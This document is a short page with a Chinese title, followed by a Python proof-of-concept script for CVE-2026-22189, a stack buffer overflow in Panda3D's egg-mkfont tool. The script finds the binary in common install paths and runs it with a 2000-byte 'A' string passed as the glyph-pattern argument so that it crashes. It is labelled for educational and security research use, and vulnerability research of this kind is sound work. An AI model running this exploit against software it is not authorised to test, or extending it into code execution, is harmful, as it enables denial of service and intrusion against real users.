CVE-2026-22189: Panda3D egg-mkfont栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-22189 PoC - Panda3D egg-mkfont Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. """ import subprocess import sys import os def generate_payload(length=2000): """Generate overflow payload - excessive glyph pattern string""" # Generate long string to overflow the stack buffer return "A" * length def check_poc(): """Check if vulnerable version of egg-mkfont exists""" # Common paths for egg-mkfont tool paths = [ "/usr/bin/egg-mkfont", "/usr/local/bin/egg-mkfont", "./egg-mkfont", "/opt/panda3d/bin/egg-mkfont" ] for path in paths: if os.path.exists(path): return path return None def main(): print("[*] CVE-2026-22189 PoC - Panda3D egg-mkfont Stack Buffer Overflow") print("[*] CVSS Score: 9.8 (CRITICAL)") print() egg_mkfont_path = check_poc() if not egg_mkfont_path: print("[-] egg-mkfont tool not found. Please install Panda3D to test.") print(" Download: https://www.panda3d.org/") return print(f"[+] Found egg-mkfont at: {egg_mkfont_path}") print("[*] Generating payload with 2000 bytes...") payload = generate_payload(2000) # Construct the command to trigger overflow cmd = [egg_mkfont_path, "-gp", payload, "dummy_font.ttf"] print(f"[*] Executing: {' '.join(cmd)}") print("[*] This should cause a segmentation fault or crash...") print() try: # Execute and capture result result = subprocess.run(cmd, capture_output=True, timeout=5) print(f"[+] Exit code: {result.returncode}") print(f"[+] Stdout: {result.stdout.decode('utf-8', errors='ignore')}") if result.stderr: print(f"[+] Stderr: {result.stderr.decode('utf-8', errors='ignore')}") except subprocess.TimeoutExpired: print("[-] Process timed out") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": main()